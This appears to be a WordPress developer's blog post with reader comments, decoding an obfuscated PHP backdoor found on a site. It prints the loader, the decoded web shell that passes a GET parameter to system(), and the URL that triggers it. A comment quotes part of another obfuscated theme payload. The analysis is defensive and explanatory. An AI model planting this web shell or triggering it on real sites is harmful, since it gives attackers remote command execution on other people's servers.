I was alerted to this tweet by @andrea_r this morning:

Here’s the code in question:

<?php
@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?>

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:

$newstream=@$_GET['0xFF'];@system($newstream);

So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

Shortlink:

16 Comments

  1. That’s great 🙂

    I have saved a hacking file I found in one of my old blogs to decode when I had time – this is a good start 🙂

  2. The eval and base 64_decode calls should always raise red flags that someone is likely up to no good.

  3. I did the same thing when he tweeted this this morning and chatted with him in on IRC. I put a copy of it on my blog and deleted a file or two I wanted to get rid of. The scary thing is that this is the sort of code that is found many of the themes found by Googling “free wordpress themes”.

    • It’s not as bad as it used to be, but yes, there’s still some bad theme sites listed out there. After a couple of my posts and Chip’s analysis of same, matt sent an email over to somebody at Google. They have improved that particular search quite a bit, although obviously it’s still not perfect. It’s difficult for them to scan into themes and find malware on a programmatic basis, and Google prefers to do things with algorithms instead of manually futzing with results.

      • Oh really! That’s great news.

        I did a quick test and it looks like there are a lot more valid results now. I downloaded 5 themes from different sites I found using that search. Two only had valid attributions back to the download site. The other three had links to cell phone purchases and travel sites. That said only but only one of those was obfuscated (eval(gzinflate(str_rot13(base 64_decode(‘FZhSEoRLFlK30rOuCga4UlgF…).

        That actually IS much better especially since the clean ones were on the ones from first page of Google. We’re not there yet, but it’s better.

  4. Yeah eval is the dead giveaway… but regardless to that… those random strings look very suspect. Good investigative work.

  5. Quite scaring, what if some developers include that in some wordpress plugins over at wp.org? We are all exposed to such backdoors…

    • We go through plugin code at the WP plugins directory all the time, and kill/ban/burn/salt-the-earth anybody who tries to upload intentionally malicious code.

      Accidental security issues are more common and harder to find, but we try to work with plugin authors to fix issues that we find, as well as issues that get reported on the common security mailing lists. When a plugin is found to have an issue, we immediately disable it to prevent further downloads, then try to work with the author to get a fix and upgrade out for existing users.

      For the rare case where a highly popular plugin has a bug, we’ve sometimes gone in pro-actively and fixed it, then forced a new release. This is quite rare though, and we only do it when it’s an obviously critical issue that is in the wild and affecting a large number of sites. Usually plugin authors are happy to put in their own fixes, but sometimes time is more important.

  6. […] http://ottopress.com/2011/decoding-a-russian-hackers-code/#comments Dit bericht is geplaatst in security, templates, wordpress. Bookmark de permalink. ← testingtest […]

  7. Hey Otto I have a list of theme sites to avoid over at http://wpthemedepot.com/2011/03/dodgy-wp-theme-sites/ I keep it updated whenever I come across sites distributing bad code.

    If anyone knows of sites I haven’t listed, feel free to contact me on the site or via twitter, @Furciferrising

    Jonny

  8. […] recently discovered that a couple of old posts of mine about decoding code used by hackers were no longer loading up. Everything else worked, but not those posts. I couldn’t even pull […]

Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

Need to post PHP code? Wrap it in [php] and [/php] tags.